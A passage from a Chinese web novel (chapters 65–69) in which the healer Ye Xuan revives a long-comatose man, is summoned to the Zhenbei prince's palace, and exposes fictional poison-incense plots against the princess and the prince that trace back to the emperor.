“默儿!我的默儿!你终于醒了!”
李夫人再也忍不住,一把抱住自己的儿子,放声痛哭。
李员外也是老泪纵横,一个劲地喊着:“醒了!醒了就好!醒了就好!”
李默的眼神,渐渐恢复了清明。
他看到了自己的父母,看到了他们那憔悴不堪的脸,记忆如潮水般涌回。
他想起了三年前,自己和几个狐朋**去城外赛马,在一个拐角处,被人从背后用什么东西狠狠刺了一下,然后便从马上摔了下去,之后就什么都不知道了。
“爹……娘……”
李默虚弱地喊了一声,眼泪也跟着流了下来。
这一声“爹娘”,彻底点燃了现场所有人的情绪!
“活了!真的活了!”
“我的天!这叶神医,真是华佗在世,扁鹊重生啊!”
“何止!这简直就是阎王爷手里抢人!是活神仙!”
不知是谁带头。
“噗通!”一声。
一个之前曾求过医被拒的汉子,竟直挺挺地跪了下去,对着叶玄的方向,重重地磕了一个响头。
“神医!之前是我有眼不识泰山,误会了您!我给您赔罪了!”
“噗通!噗通!”
紧接着,越来越多的人跪了下去。
那些之前出言不逊的,那些满心怀疑的,此刻全都心悦诚服地跪倒在地。
上百人,上千人!
黑压压跪倒一片!
场面之壮观,足以让任何人感到震撼!
他们看向叶玄的眼神,再无一丝怀疑,只剩下最纯粹,最狂热的崇拜!
李员外在短暂的狂喜之后,也立刻反应了过来。
他拉着妻子,转身就对着叶玄的方向,用尽全身力气,磕了一个响头。
那额头与青石板碰撞,发出的,是沉闷而又无比真诚的声响。
“神医大恩大德,我李家永世不忘!”
“从今往后,我李家的命,就是神医的!但有差遣,万死不辞!”
叶玄面对这山呼海啸般的跪拜,神色依旧平静。
他只是淡淡地说道:“起来吧。”
“他刚苏醒,身体还很虚弱,带回去好生调养,多喝些米粥,不出三月,便可与常人无异。”
他又看了一眼那箱子金子和地契。
“至于诊金……”
所有人的心,都提了起来。
一万两黄金,他真的要收下吗?
叶玄缓缓开口:“我只取一千两,作为诊金。”
“剩下的,你们带回去吧。”
“病人需要调养,处处都要花钱。”
哗!
全场哗然!
所有人都没想到,叶玄竟然会做出这样的决定。
一万两黄金,他说不要就不要了?
这是何等的气魄!何等的胸襟!
就连李员外都愣住了。
“神医,这……这万万不可!说好的一万两,我们李家就算是砸锅卖铁,也一定会为您凑齐!”
“规矩,是我定的。”叶玄的声音不大,却带着不容置疑的威严,“我说一千两,便是一千两。”
“我治病,求的不是财。”
“求的是,一个公道。”
他的目光,冷冷地扫向了那个瘫坐在地上,面如死灰的瘦猴。
“有些
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人,打着治病救人的幌子,干的却是草菅人命,谋财害命的勾当。”
“这种人,不配为医。”
话音落下,所有人的目光,都齐刷刷地看向了那个瘦猴,以及他身后,那个脸色铁青的刘掌柜。
众人的眼神,瞬间从敬畏,变为了愤怒与鄙夷!
“原来是回春堂的人在搞鬼!”
“我就说嘛!好端端的怎么会有人来砸场子!”
“黑心肝的狗东西!差点就害了一个神医!”
“打死他!把这两个骗子打出去!”
群情激奋,无数人站起身,朝着瘦猴和刘掌柜围了过去。
瘦猴吓得魂飞魄散,连滚带爬地想要逃跑。
刘掌柜也再顾不上伪装,拨开人群就想溜。
但愤怒的百姓,又岂会让他们轻易离开?
“别跑!抓住他们!”
“送到府衙去!让他们坐大牢!”
一阵鸡飞狗跳,瘦猴和刘掌g柜很快就被愤怒的人群淹没,拳脚相加,哀嚎声惨叫声不绝于耳。
叶玄没有再看他们一眼。
他转过身,对苏轻雪说道:“收摊吧。”
“是,公子。”苏轻雪走上前,那双清冷的秋水眸子里,异彩连连,她压低声音道:
“叶公子这一手,堪称绝妙。不但一针惊北城,还顺手毁了最大的竞争对手,更是收获了全城百姓的敬仰之心。从此,叶神医三个字,在镇北城,将无人不知,无人不晓。”
叶玄神色淡漠。
“这还不够。”
“百姓的敬仰,太廉价。”
“我要的,是让那王府里的人,也坐不住。”
苏轻雪瞬间了然。
是啊。
闹出这么大的动静,王府不可能不知道。
一个能治活**的神医,其价值,足以让任何上位者动心。
她正想说些什么,眼角的余光,却瞥见了一辆无比华贵的马车,正缓缓地从长街的尽头驶来。
那马车的样式,以及车前悬挂的令牌,让苏轻雪的瞳孔微微一缩。
那是……镇北王府的马车!
说曹操,曹操就到。
不。
应该说,一切,尽在叶玄的算计之中。
马车在摊位前停下,从车上走下来一个身穿锦衣,气度不凡的中年管事。
他没有理会周围的喧嚣,径直走到叶玄面前,恭恭敬敬地行了一礼。
“敢问,您可是叶潜渊,叶神医?”
叶玄眼皮都未抬一下,只是淡淡地“嗯”了一声。
那管事姿态放得更低了,语气中充满了谦恭。
“叶神医,我家世子有请。”
“请您即刻移步王府,为王妃殿下诊治顽疾。”
“我家世子说,只要您能治好王妃,任何条件,王府都可答应。”
话音落下,全场再次陷入一片死寂。
所有人的脸上,都写满了极致的震撼!
王府!
竟然真的是王府来人了!
而且是世子亲自相邀,去给王妃治病!
这个年轻人,真的……一步登天了!
第66章 这泼天的富贵,来了!
王府世子亲邀!
入府为王妃诊病!
任何条件,皆可答应!
这几句话,每一个字,都像一记重锤,狠狠地砸在坊市所有人的心坎上。
什么叫一步登天?
这就是!
前一刻,还是一个被人质疑、唾骂的江湖骗子。
下一刻,就成了镇北王府的座上宾!
这身份的转变,快得让人头晕目眩,充满了不真实感。
所有人都用一种混杂着羡慕、嫉妒、敬畏的复杂目光,看着那个依旧平静如水的年轻人。
他们知道,从这一刻起,这个名叫叶潜渊的青年,将不再是他们可以随意议论的市井奇人。
他将是镇北城真正的风云人物!
那名王府管事说完话后,便静静地站在一旁,姿态谦恭,耐心等待着叶玄的答复。
他没有丝毫的不耐烦。
开玩笑,这可是一位能把活**救活的神仙人物!
世子殿下亲自交代了,无论如何,都要把这位叶神医客客气气地请回王府。
要是让他不高兴了,自己这管事的位置,也就当到头了。
然而,出乎所有人意料的是。
面对这份足以让任何人欣喜若狂的泼天富贵,叶玄却连眼皮都没抬一下。
只是随意上前,对着那一千两黄金轻轻一挥手,金子就消失在众人眼前。
在场之人全都震惊了。
这是什么神仙手段?
“走吧!”
叶玄对着还愣着的苏轻雪,轻声说道
苏轻雪从刚刚的画面回过神来,立马装作不惊讶的样子。
“是,公子!”
王府管事看着这一幕,微微眯起眼睛。
这对主仆,当真是深不可测!
做完这一切,叶玄才慢悠悠地站起身,掸了掸身上并不存在的灰尘。
他的目光,终于落在了那位王府管事的身上。
“头前带路。”
简单的四个字,语气平静得就像在吩咐自家的下人。
那管事心中一凛,对叶玄的敬畏又加深了几分。
这才是高人风范啊!
面对王府的邀请,面不改色,泰然处之。
“是,叶神医,您请。”
管事连忙躬身,做了一个“请”的手势,亲自为叶玄掀开了马车的车帘。
叶玄迈步,从容登车。
苏轻雪紧随其后。
华贵的马车缓缓启动,在无数道目光的注视下,掉转方向,朝着那代表着镇北城权力巅峰的王府,缓缓驶去。
直到马车的影子彻底消失在街角,坊市中的百姓才如梦初醒,爆发出更加热烈的议论声。
“乖乖,这就去王府了!”
“咱们镇北城,这是要出一条真龙了啊!”
“以后谁还敢去回春堂看病?跟叶神医一比,那刘济简直就是个草菅人命的庸医!”
而那被揍得鼻青脸肿的刘掌柜和瘦猴,早已被巡城的卫兵带走,等待他们的,将是身败名裂的下场。
……
王府的马车,极尽奢华。
车厢内铺着厚厚的波斯地毯,角落的铜炉里燃着顶级的安神香,淡淡的香气萦绕鼻尖,令人心旷神怡。
苏轻雪坐在叶玄对面,一双清冷的秋水眸子,此刻正一瞬不瞬地打量着他。
“叶公子,您早就料到,王府会来人?”她轻声问道。
“不然呢?”叶玄靠在柔软的靠垫上,闭着眼睛,淡淡地反问,“我搭这么大的台子,唱这么一出戏,难道真是为了给一个不相干的人治病?”
苏轻雪被他噎了一下,随即莞尔一笑。
是啊,自己问了个蠢问题。
以他的心智,又岂会做没有目的的事。
从专治绝症的布幡挂出去的那一刻起,他的目标,就只有王府。
救治疯屠户,是第一次试探,是为了扬名。
拒绝普通病患,是为了立规矩,抬高身价。
激怒回春堂,引来“活**”这个终极难题,是为了搭台。
而当众救活李默,开出一万两黄金的天价诊金,又只取其一成,则是为了彻底引爆全城,将“叶神医”的名望和价值,推向一个前所未有的顶峰!
环环相扣,步步为营。
最终的目的,就是逼得王府不得不来请他!
这份算计,当真是滴水不漏,令人叹为观止。
“只是……”苏轻雪又有些担忧地说道:“王府不比寻常百姓家,里面龙潭虎穴,那位镇北王更是执掌北境数十年的枭雄人物,我们此去,会不会太过凶险?”
“王妃的病,若是寻常病症还好,若是什么不治之症,或者……是有人刻意为之,我们一旦卷入其中,怕是会惹上**烦。”
她的担忧,不无道理。
王府的浑水,不是那么好蹚的。
“麻烦?”叶玄终于睁开了眼,眼底闪过一抹冰冷的笑意。
“我来镇北城,就是为了找麻烦的。”
“水,越浑越好。”
“只有水浑了,才有我摸鱼的机会。”
他看着苏轻雪,声音平淡,却透着一股睥睨天下的自信。
“放心,进了王府,一切有我。”
“你只需要记住,从现在起,我就是叶潜渊,一个背景神秘,医术通天,性格古怪,且贪财的神医。”
“而你,是我身边唯一能说得上话的侍女。”
“明白了吗?”
苏轻雪心中一暖,那份担忧也消散了许多。
她重重地点了点头。
“小女子明白。”
马车一路畅通无阻,很快便驶入了镇北城的内城。
与外城的喧嚣嘈杂不同,内城显得庄严肃穆,街道两旁是高门大院,巡逻的兵士随处可见,个个眼神锐利,煞气逼人。
终于,马车在一座气势恢宏的府邸前停了下来。
朱红色的大门,门口两尊威武的石狮,门楣上悬挂着一块巨大的黑底金字牌
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匾,上书三个龙飞凤舞的大字。
镇北王府!
一股无形的威压,扑面而来。
这里,就是北境之地的权力中枢!
“叶神医,王府到了。”
管事的声音在车外响起。
叶玄整理了一下衣衫,率先走下马车。
苏轻雪紧随其后。
府门前,一个身穿锦绣华服,面如冠玉,气质雍容的年轻人,早已等候在此。
他看上去二十五六岁的年纪,剑眉星目,虽然脸上带着一丝焦急和忧虑,却依旧难掩那份久居上位的贵气。
见到叶玄下车,他立刻快步迎了上来,对着叶玄拱手一礼,态度诚恳。
“这位,想必就是叶神医了。”
“在下风云天,是镇北王世子。”
他的声音温润如玉,让人如沐春风。
“久闻神医大名,今日一见,果然风采不凡。”
叶玄只是淡淡地扫了他一眼,没有回礼,也没有客套。
“病人在哪?”
这无礼的态度,让风云天身后的几名护卫顿时面露不悦之色。
这小子也太狂了!
见了世子殿下,竟敢如此托大!
风云天却丝毫没有生气,反而脸上的笑容更真诚了几分。
有本事的人,脾气古怪些,是正常的。
要是叶玄对他阿谀奉承,他反而要怀疑对方是不是图谋不轨了。
“家母就在后院静养,神医,这边请。”
风云天亲自在前面引路,姿态放得极低。
叶玄迈步跟上,苏轻雪亦步亦趋。
一行人穿过戒备森严的前院,走过雕梁画栋的回廊,最终来到了一处雅致清幽的院落前。
院门口,守着两排神情冷肃的侍女,看到世子前来,连忙躬身行礼。
“情况如何了?”风云天低声问道。
一名侍女领班面带忧色地回道:“回世子,王妃殿下还是什么都吃不下,刚刚又把参汤吐了,人……人看着又憔悴了许多。”
风云天的眉头,瞬间拧成了一个川字。
他深吸一口气,转头看向叶玄,脸上带着一丝恳求。
“叶神医,家母的病,就拜托您了。”
叶玄没有说话,只是点了点头,径直走进了院子。
穿过种满奇花异草的庭院,他来到主屋门前。
一股浓郁的药味,混杂着一丝若有若无的颓败气息,从屋内传来。
风云天推开房门。
“母亲,我请了神医来为您看病。”
叶玄抬眼望去。
只见那张由金丝楠木打造的巨大床榻上,半靠着一个面容憔悴的妇人。
她曾经应该是一位风华绝代的女子,但此刻,却是面色蜡黄,双颊凹陷,眼神黯淡无光,整个人瘦得只剩下一把骨头,仿佛随时都会被风吹走。
这就是镇北王妃?
这哪里还有半分王妃的雍容华贵,分明就是一个油尽灯枯,离死不远的可怜人。
第67章 王妃的病,是心病!
房间内的光线有些昏暗。
厚重的帷幔遮住了大部分的阳光,空气中弥漫着一股浓得化不开的药味。
这种味道,叶玄很熟悉。
人参、鹿茸、灵芝……
全是吊命用的名贵药材。
这也意味着,床榻上那位王妃的身体,已经到了一个极其危险的边缘,只能靠着这些天材地宝,勉强维持着最后一丝生机。
风云天快步走到床边,柔声说道:“母亲,这位是叶神医,医术通神,连昏睡了三年的活**都能救活。有他在,您的病一定能好起来的。”
他的声音里,带着一丝刻意的轻松,似乎是想让自己的母亲安心。
床榻上,镇北王妃缓缓转过头,那双黯淡的眸子,有气无力地在叶玄身上扫过,随即又漠然地移开。
她的脸上,没有丝毫的波澜。
没有好奇,也没有期盼。
只有一片死寂。
仿佛对她而言,活下去,已经是一件毫无意义的事情。
她甚至连开口说话的力气都没有,只是微微摇了摇头,便又闭上了眼睛。
那意思很明显。
没用的。
别白费力气了。
风云天看到母亲这个样子,心如刀割,眼眶瞬间就红了。
他转过头,用一种近乎哀求的目光看着叶玄。
“叶神医,您看……”
叶玄的表情,从始至终都没有变过。
他没有立刻上前,只是站在原地,静静地打量着这位王妃。
神级医术一眼就看出了王妃现在的病症。
因为长期心情抑郁,肝气郁结,导致心脾两虚。
曾经应该中慢性精神类毒素,虽余毒已清,但神魂受损,已生厌世之心。
救治的方案也很简单
此病根源在心,药石罔效。
需以雷霆手段,破其心防,重燃其求生意志。
再辅以安神养魂的丹药,调理七日,就可痊愈。
叶玄的眼底,闪过一丝了然。
这种病,寻常大夫根本看不出端倪,只会当成普通的厌食症来治。
用再多的名贵药材,也只是治标不治本,反而会因为虚不受补,加速病人的死亡。
这王府的水,果然够深。
能对王妃下这种阴毒的手段,下手之人的身份,恐怕不简单啊。
“神医?神医?”
风云天见叶玄一直站着不动,只是盯着自己的母亲看,不由得有些急了,再次开口催促。
叶玄收回目光,淡淡地开口。
“王妃的病,不是身病,是心病。”
一句话,让在场的所有人,都愣住了。
心病?
这是什么说法?
风云天皱起了眉头,有些不解地问道:“神医,您这是什么意思?城中所有的大夫,包括王府的供奉,都说是母亲脾胃虚弱,食欲不振,才导致的身体衰败。”
“他们?”叶玄的嘴角,勾起一抹毫不掩饰的轻蔑。
“一群连病根都看不出来的庸医,也配与我相提并论?”
这话说得,极其狂傲。
风云天身后的几名侍女和护卫,再次面露怒色。
这小子,太目中无人了!
竟敢当着世子的面,说王府的供奉是庸医!
风云天也被噎了一下,但一想到叶玄那神乎其技的医术,还是强压下心中的不快,耐着性子问道:“那依神医之见,家母这心病,该如何治?”
“心病,还需心药医。”
叶玄的目光,再次落到床榻上那个气若游丝的妇人身上,声音陡然转冷。
“但她的心,已经**。”
“一个一心求死的人,神仙来了,也救不活。”
什么?!
风云天如遭雷击,脸色“唰”的一下,变得惨白。
“不!不可能!我母亲怎么会一心求死?她……她只是病了!”
“病了?”叶玄冷笑一声,“她是真的病了,还是装病,你这个做儿子的,难道看不出来吗?”
“你……”风云天被这句话堵得哑口无言。
其实,他心中隐隐也有这种感觉。
母亲的病,来得太过蹊跷。
而且每次喂药喂饭,她都表现出极度的抗拒,仿佛吃的不是救命的良药,而是穿肠的**。
那种从骨子里透出来的厌恶和绝望,根本不像是装的。
难道,母亲真的……不想活了?
这个念头,让风云天的心脏像是被一只无形的大手狠狠攥住,痛得无法呼吸。
“为什么……这到底是为什么?”他喃喃自语,眼中充满了痛苦和迷茫。
就在这时,床榻上那个一直沉默不语的王妃,身体突然剧烈地颤抖了一下。
她猛地睁开眼,那双死寂的眸子里,第一次出现了一丝情绪波动。
是愤怒。
是被人说中心事的恼羞成怒。
“你……胡说!”
她用尽全身力气,从喉咙里挤出两个字,声音沙哑得如同鬼魅。
“我没有装病!我没有一心求死!”
叶玄冷冷地看着她,眼神锐利如刀,仿佛能刺穿她所有的伪装。
“是吗?”
“那你告诉我,是谁在你常用的熏香里,加了‘断魂香’?”
轰!
这句话,如同一道九天惊雷,在整个房间里悍然炸响!
风云天猛地瞪大了眼睛,脸上写满了骇然与不可置信!
断魂香!
那可是北莽秘制的精神类奇毒!
**者,初期只是精神萎靡,食欲不振,但日子久了,便会神魂受损,产生厌世轻生的念头,最终在绝望中悄无声息地死去!
因为其症状与普通的抑郁之症极其相似,所以极难被察
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觉!
母亲的病,竟然是被人下了毒!
而床榻上的王妃柳如烟,在听到“断魂香”三个字的时候,整个人如遭电击,那张毫无血色的脸上,瞬间写满了极致的惊恐!
他……他怎么会知道?!
这件事,她从未对任何人提起过!
那个下毒的人,明明已经……
“看来,我没说错。”
叶玄将她的反应尽收眼底,心中已然明了。
“有人想让你死,但你却连反抗都不敢,只能用这种慢性**的方式,来逃避现实。”
“你不是不想活,你是……不敢活。”
“你怕你活下来,会连累你的儿子,连累整个镇北王府,对吗?”
叶-玄的每一句话,都像一把尖刀,狠狠地扎在柳如烟的心上,将她隐藏最深的恐惧,血淋淋地剖析开来,暴露在阳光之下。
“不……不是的……你别说了!你别说了!”
柳如烟的情绪,彻底崩溃了。
她像个无助的孩子,用双手捂住耳朵,歇斯底里地尖叫起来,眼泪不受控制地汹涌而出。
“求求你,别说了!”
风云天彻底呆住了。
他看着自己母亲那崩溃的模样,又看了看身旁那个神情冷峻,仿佛掌控了一切的年轻人,脑子里一片混乱。
下毒?
不敢活?
连累王府?
这其中,到底隐藏着什么惊天的秘密?
“神医!”风云天猛地抓住叶玄的胳膊,声音都在发抖,“这到底是怎么回事?我母亲她……”
叶玄没有理他,只是冷冷地看着床榻上那个崩溃的女人。
他知道,破其心防,就在此刻!
“把所有人都叫出去。”叶玄对风云天命令道。
“什么?”风云天一愣。
“我说,让所有人都出去。”叶玄的声音里,带着不容置疑的威严,“包括你。”
“接下来的话,我只对王妃一个人说。”
“这是救她的唯一办法。”
风云天看着叶玄那双深不见底的眼眸,犹豫了片刻,最终还是选择了相信。
他一咬牙,对着屋内的侍女护卫挥了挥手。
“都出去!在院外守着,没有我的命令,任何人不许靠近!”
“是,世子!”
众人虽然不解,但还是躬身退下。
风云天最后看了一眼自己痛苦的母亲,也转身走了出去,并轻轻地带上了房门。
很快,整个房间内,只剩下了叶玄,和那个在床榻上瑟瑟发抖的王妃。
以及,一直如同影子般,安静地站在角落里的苏轻雪。
叶玄走到床边,居高临下地看着柳如烟。
“现在,没人了。”
“你可以告诉我,是谁给你下的毒。”
“或许,我可以帮你,杀了他。”
第68章 王爷有请,鸿门宴!
“杀了他?”
柳如烟的尖叫声戛然而止。
她猛地抬起头,泪眼婆娑地看着眼前这个年轻人,那双充满了恐惧和绝望的眸子里,闪过一丝深深的迷茫。
他……他说什么?
帮自己**?
他凭什么?
他知不知道,那个下毒的背后之人,是何等恐怖的存在?
“你……你到底是谁?”
柳如烟的声音,颤抖得不成样子。
眼前的年轻人,太神秘了。
他一眼就看穿了自己的心病,甚至连“断魂香”这种秘闻都知道。
现在,他又说要帮自己**。
他绝不是一个简单的江湖郎中!
叶玄没有回答她的问题,只是拉过一张椅子,在床边施施然坐下。
他的手指,在扶手上轻轻敲击着,发出沉闷而富有节奏的声响。
每一下,都仿佛敲在柳如烟的心弦上。
“是谁下的毒,不重要。”
叶玄淡淡地开口,声音里听不出任何情绪。
“重要的是,你想不想他死。”
“或者说,你想不想,让你自己,让你儿子,都活下去。”
柳如烟的身体,再次剧烈地颤抖起来。
活下去。
多么奢侈的三个字。
她当然想!
她做梦都想!
她想看着自己的儿子成家立业,想看着他继承王位,将镇北城发扬光大。
可是……她不敢!
一想到那个人阴冷的眼神,一想到他那通天的手段,她的心中,就只剩下无边无际的恐惧。
那是一个她,乃至整个镇北王府,都绝对惹不起的存在!
“没用的……没用的……”
柳如烟的眼神,再次变得黯淡,充满了死寂般的绝望。
“你斗不过他的……我们都斗不过他的……”
“他是天……”
她的话,还没说完,就被叶玄冷冷地打断了。
“天?”
叶玄的嘴角,勾起一抹极尽嘲讽的弧度。
“这世上,若真有天,那也该由我来当。”
“而不是一个只会用下三滥手段,给女人下毒的废物。”
这番话,狂妄到了极点!
柳如烟和角落里的苏轻雪,都被他话语中那股睥睨天下的霸气,给深深地镇住了。
尤其是苏轻雪。
她看着叶玄的侧脸,那双清冷的眸子里,异彩连连。
这才是他的真面目吗?
“你……”柳如烟被他这番话,惊得说不出一个字来。
叶玄站起身,不再看她。
“看来,你还没有做好活下去的准备。”
“既然如此,那我也没必要浪费时间了。”
“你就继续在这里等死吧。”
说罢,他转身,便要朝着门外走去。
“别走!”
柳如烟见他真的要走,心中那根名为“求生”的弦,被狠狠地拨动了一下。
她用尽全身的力气,从床榻上伸出手,想要抓住什么。
“求求你……别走!”
这是她病倒之后,第一次,如此清晰地表达出自己的意愿!
叶玄的脚步,停了下来。
他没有回头。
“给我一个不走的理由。”
柳如烟看着他那冰冷的背影,嘴唇哆嗦了半天,最终,那无边的恐惧,还是战胜了求生的欲望。
她颓然地放下了手,眼中最后一丝光亮,也彻底熄灭了。
“你走吧……”
“是我……没那个命……”
叶玄心中冷哼一声。
烂泥扶不上墙。
看来,不给她下一剂猛药,她是不会开口了。
他转过身,重新走到床边,目光冷漠地看着她。
“你以为你**,就能一了百了?”
“你以为你的退让,就能保全你的儿子?”
“我告诉你,你太天真了。”
他的声音,像淬了冰的刀子,一刀一刀地割在柳如烟的心上。
“给你下毒的人,是谁?是大乾皇帝,叶擎天,对不对?”
轰!
柳如烟的脑海中,仿佛有万千惊雷同时炸响!
她猛地瞪大了眼睛,脸上血色尽褪,那表情,比刚才听到“断魂香”时,还要惊恐百倍!
他……他怎么会知道是大乾皇帝?!
这……这不可能!
“看来,我又说对了。”
叶玄的笑容,愈发冰冷。
“叶擎天,想把手伸进镇北城,但你夫君,镇北王,一直不肯松口。”
“所以,他就从你这个王妃身上下手。”
“用‘断魂香’让你在不知不觉中死去,再扶持一个听他话的女人,坐上王妃之位。”
“到那时,他就可以通过这个女人,在王府里安插眼线,挑拨离间,慢慢地,将整个镇北王府,都掌控在自己手里。”
“而你那个傻儿子,风云天,恐怕到最后,连自己的母亲是**的都不知道,还要傻乎乎地,把杀母仇人当成自己人。”
“你说,你**,是你解脱了,还是亲手把你儿子,推向了万劫不复的深渊?”
叶玄的每句话,都如同一柄重锤,狠狠地砸在柳如烟的胸口,让她几乎窒息。
她想反驳,却一个字都说不出来。
因为叶玄说的,全都是事实!
这也是她最恐惧,最不敢面对的事实!
“不……不会的……王爷他……王爷他会保护云天的……”她用最后一丝力气,为自己辩解着。
“镇北王?”叶玄嗤笑一声,“他确实是一代枭雄,但他老了。”
“而且,他现在也是泥菩萨过江,自身难保。”
“你以为,叶擎天只对你一个人下手了吗?”
“如果我猜不错的话,大乾皇帝的人,恐怕早就渗透进了镇北军中,甚至和北莽的游骑,都有着不清不楚的勾结!”
“养寇自重!”
“这四个字,你应该不陌生吧?”
“如今的镇北城,早就不是铁板一块了。你**,只会让这潭水,变得更浑,只会让皇帝陛下,笑得更开心。”
“你和你儿子的命,乃至整个王府的百年基业,都将成为皇帝为太子登基路上的一块垫脚石!”
“而你,就是那个亲手递上垫脚石的,千古罪人!”
字字诛心!
柳如烟的心理防线,在叶玄这番毫不留情的剖析下,彻底崩溃了。
“哇——”
她再也忍不住,一口黑血,猛地喷了出来,洒在锦绣的被褥上,触目惊心。
紧接着,她两眼一翻,竟是直接气晕了过去。
“王妃!”
站在角落里的苏轻雪,惊呼一声,连忙上前。
叶玄却摆了摆手,示意她不必惊慌。
“没事,急火攻心,气血逆行而已。”
“淤血吐出来,反倒是好事。”
他走上前,伸出两根手指,在柳如烟脖颈的几个穴位上轻轻一点,一股温和的灵力渡入,稳住了她紊乱的气息。
看着她虽然昏迷,但脸色却比之前好看了些许的模样,叶玄知道,第一步,已经成功了。
她的心防,已经破了。
等她醒来,求生的意志,便会重新占据上风。
到那时,再辅以丹药,治好她,不过是时间问题
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“吱呀——”
就在这时,房门被人从外面猛地推开。
世子风云天一脸焦急地冲了进来。
“母亲!神医,我母亲她怎么了?”
他刚才在门外,隐隐听到了母亲的哭喊和尖叫,心中担忧不已,最后听到那声吐血的声音,再也忍不住,直接闯了进来。
看到母亲昏迷不醒,被褥上还有一大片黑血,他顿时吓得魂飞魄散。
“吐了口淤血,暂时晕过去了,无妨。”叶玄淡淡地说道。
“无妨?”风云天看着叶玄,眼神中第一次带上了一丝怀疑和审视,“神医,你刚才到底对家母说了什么?为何她会……”
叶玄冷冷地瞥了他一眼。
“我说了什么,你没资格知道。”
“你只需要知道,从今天起,你母亲,有救了。”
“你……”风云天被他这狂傲的态度气得不轻,正想发作。
一个沉稳如山的声音,突然从门外传来。
“云天,退下。”
风云天回头一看,只见一个身穿黑色**袍,身材魁梧,面容威严,不怒自威的中年男子,正龙行虎步地走了进来。
他虽然两鬓已经有了些许风霜的痕迹,但那双眼睛,却锐利如鹰,仿佛能洞悉人心。
他身上那股久经沙场,从尸山血海中磨砺出的铁血煞气,更是让整个房间的温度,都仿佛下降了几分。
此人,正是北境的擎天之柱。
镇北王,风啸天!
“父王!”风云天连忙躬身行礼。
镇北王风啸天只是微微颔首,他的目光,却像两把利剑,直直地射向了叶玄。
“你,就是那个自称能治好王妃的,叶神医?”
他的声音,不带任何感情,却充满了无形的威压。
换做常人,被他这么一看,恐怕早就双腿发软,跪地求饶了。
但叶玄,却依旧神色自若。
他甚至连站都懒得站起来,只是端起桌上的茶杯,轻轻呷了一口。
“神医不敢当,一个会点岐黄之术的江湖郎中罢了。”
风啸天看着他这副淡然的模样,那双锐利的鹰眸中,闪过一丝不易察`的异色。
好小子。
有胆色。
“本王已经听说了你在南城坊市的事迹。”
风啸天缓缓开口,“活**,李默。坠马昏迷三年,被你用金针救醒。此事,可是真的?”
“是。”叶玄惜字如金。
“好。”风啸天点了点头,“那本王问你,王妃的病,你有多大把握能治好?”
“十成。”
叶玄放下茶杯,吐出两个字。
狂!
依旧是那么的狂!
风啸天闻言,不怒反笑。
“哈哈哈哈!好一个十成把握!”
“本王纵横北境三十年,还是第一次见到,像你这般狂妄的年轻人!”
他的笑声中,充满了威严与霸道。
“本王已经派人去查了你的底细。”
风啸天脸上的笑容,缓缓收敛,取而代之的,是一片冰冷的审视。
“你最好祈祷,你能真的治好王王妃。”
“否则……”
他没有把话说完,但那话语中的威胁之意,已经不言而喻。
“王爷有这个时间威胁我,不如先管好自己后院的闲事。”
叶玄站起身,掸了掸衣袖,淡淡地说道:“王妃中了断魂香,此事,王爷不会不知道吧?”
镇北王风啸天的瞳孔,猛地一缩!
一股恐怖的杀气,从他身上轰然爆发,瞬间笼罩了整个房间!
“你,到底是什么人?”
第69章 摊牌了,我就是八皇子!
杀气!
宛如实质的杀气!
如同北境最凛冽的寒风,夹杂着尸山血海的铁锈味,疯狂地冲刷着房间里的每一个人。
首当其冲的,便是叶玄。
换做任何一个七品武者,在这股由四品练意境巅峰强者爆发出的恐怖杀气面前,恐怕连站都站不稳,会当场心神失守,跪地求饶。
然而,叶玄却依旧站在那里,身形挺拔如松,面色没有丝毫变化。
人皇霸体,万法不侵。
人皇镇狱经,**世间一切敌!
这点杀气,对他而言,不过是清风拂面。
他甚至还有闲心,端起茶杯,又喝了一口。
这副云淡风轻的姿态,让镇北王风啸天心中的震惊,又加深了几分。
这小子,不对劲!
他绝不是一个普通的江湖郎中!
能无视自己的杀气威压,这份心性,这份定力,就远超常人!
他到底是谁?
背后又有什么势力?
来他镇北城,又有什么目的?
无数个念头,在风啸天的脑海中飞速闪过。
他看着叶玄,那双锐利的鹰眸,眯成了一条危险的缝。
“断魂香。”
风啸天缓缓收敛了杀气,一字一顿地说道:“看来,你的本事,比本王想象中的要多得多。”
他没有否认。
因为到了他这个位置,否认已经没有任何意义。
既然对方能说出“断魂香”三个字,就证明他已经掌握了足够的信息。
“我知道的,远比王爷你想象的,还要多。”
叶玄放下茶杯,直视着风啸天的眼睛,嘴角勾起一抹玩味的弧度。
“比如,王爷您最近,是不是总在夜里感到心悸气短,胸口烦闷?”
“比如,王爷您在运功之时,丹田处,是否会传来针扎般的刺痛,导致真气运转不畅?”
风啸天脸上的表情,彻底变了。
从之前的审视和威严,变成了彻彻底底的震惊与骇然!
他……他怎么会知道?!
这两件事,是他身上最大的秘密!
尤其是真气运转不畅,这直接关系到他的武道修为和战斗力,除了他自己,他从未对任何人提起过!
就算是王府的供奉,也只以为他是常年征战,留下了旧伤。
可眼前这个年轻人,只是看了他一眼,就将他的症状,说得一清二楚,分毫不差!
这已经不是医术了!
这是妖术!
“你……”风啸天指着叶玄,喉咙有些发干,一时间竟说不出话来。
“王爷不必惊慌。”
叶玄淡淡地说道:“你只是中了和王妃一样的毒,只不过,给你下毒的人,手法更高明一些。”
“你中的,是‘断魂香’的变种,名为‘蚀龙香’。”
“此香无色无味,会随着你的呼吸,一点点侵入你的奇经八脉,腐蚀你的灵气,损伤你的根基。”
“等到毒气攻心那一日,便是大罗神仙,也救不了你。”
“而下毒之人,算算时间,应该也快动手了吧。”
一番话,如同一道道催命符,让这位纵横北境三十年的铁血王爷,额头上,竟渗出了一层细密的冷汗。
他想起了最近军中一些将领的异常调动。
想起了几个心腹莫名其妙的“意外”身亡。
想起了那位一直对自己毕恭毕敬,最近却总是有意无意打探自己身体状况的副将……
原来,那不是意外!
一切都是算计好的!
而自己,却一直被蒙在鼓里!
一股彻骨的寒意,从他的脚底,直冲天灵盖。
“是谁?”
风啸天的声音,已经嘶哑得不成样子,那双鹰眸中,燃烧着滔天的怒火与杀意。
“是谁要害本王?”
叶玄看着他,笑了。
“王爷,这个问题,你应该去问你自己。”
“问问你自己,这些年,在北境做了些什么。”
“又是谁,最希望你死,最希望这镇北城,换一个主人。”
风啸天不是蠢人。
相反,他是一只老奸巨猾的狐狸。
叶玄的话,已经点得足够明白了。
能有如此通天的手段,能将手伸进他的镇北王府,伸进他的镇北军高层,甚至能给他和王妃同时下毒。
放眼整个大乾王朝,有这个动机,又有这个能力的,只有一个人!
当今皇上,叶擎天!
“是他……”
风啸天紧紧地攥住了拳头,指节因为过度用力而根根发白,发出“咯咯”的声响。
“好!好一个大乾皇帝!”
